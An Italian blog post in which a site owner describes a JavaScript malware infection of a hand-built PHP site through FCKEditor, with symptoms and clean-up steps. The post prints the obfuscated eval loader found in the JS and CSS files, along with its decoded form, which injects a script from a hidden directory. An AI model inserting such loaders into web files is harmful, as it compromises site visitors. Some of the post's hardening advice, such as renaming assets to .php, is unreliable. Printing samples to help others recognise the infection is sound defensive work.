mercoledì 10 settembre 2008

Malware sul sito web: vedo un blogger venendo da Google SERPs

Malware Javascript che ha infettato il mio sito!?
Oh mio Dio!



Ecco le specifiche tecniche:

  • Hosting Aruba
  • Server Linux
  • Linguaggio PHP, sito costruito da me senza CMS, editavo tutto a mano ed erano poche le infor prelevate dal DB MySQL

Ecco cosa faceva il malware:
  • Quando cercavo su google il mio sito ed approdavo su di esso, mi usciva una schermata tipo blogger.com tutta nera con un testo standard e le chiavi che avevo cercato
  • Si replicava in tutti i file CSS e JS delle mie directory del sito

Soluzione:
  • Eliminare tutti i files dal mio spazio, ripulirli tutti e aggiungere protezioni lato server alle variabili GET e POST
  • Evitare i files CSS e JS liberi nel proprio spazio. Piuttosto rinominarli in .PHP ed eseguire delle include. Questo perchè molto presumibilmente il malware si appoggia ad un server sul quale memorizza il file system del vostro sito in modo da sapere dove sono i files da attaccare.

Domande e risposte:
  • Evidentemente si è trattato in un JavaScript Injection tramite FCKEditor, infatti il malware si era installato in una sottodirectory di quest'ultimo creando un percorso fittizio e i suoi bei files criptati e si è diffuso poi nelle altre cartelle e sottocartelle.
  • SQL Injection, sembra di no. Il database è pulito, anche se avevo lasciato una variabile get senza controlli

Segni caratteristici del malware:

  1. Codice rilevato nei files JavaScript infetti:
    /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%36%30%34%36%32%38%3B%20%4A%53%53%33%20%3D%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */


  2. Codice rilevato nei files CSS infetti:

    /* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%36%30%34%36%32%38%3B%20%4A%53%53%33%20%3D%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */


  3. Codice rilevato nella directory fittizia( FCKeditor/editor/images/ofadeli), all'interno del file check.js:

    if ( (Math.random()*60 < href="JSS3+'?r=" s="'+JSS2;">
  4. Codice in chiaro corrispondente a quello criptato esposto nei punti 1 e 2:

    if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 2604628; JSS3 = '/wiki/FCKeditor/editor/images/ofadeli/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/wiki/FCKeditor/editor/images/ofadeli/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };


  5. All'arrivo sul mio sito appariva il blogger di cui sopra con le seguenti espressioni di default:
    "Particulary I like the first site but other sites are informative as well, so if you have interest in you should check all those links. I hope you’ll like them
    "

  6. File .htaccess nella root con codice maligno al suo interno.

Beh che dire!
Una bella storia!

0 commenti :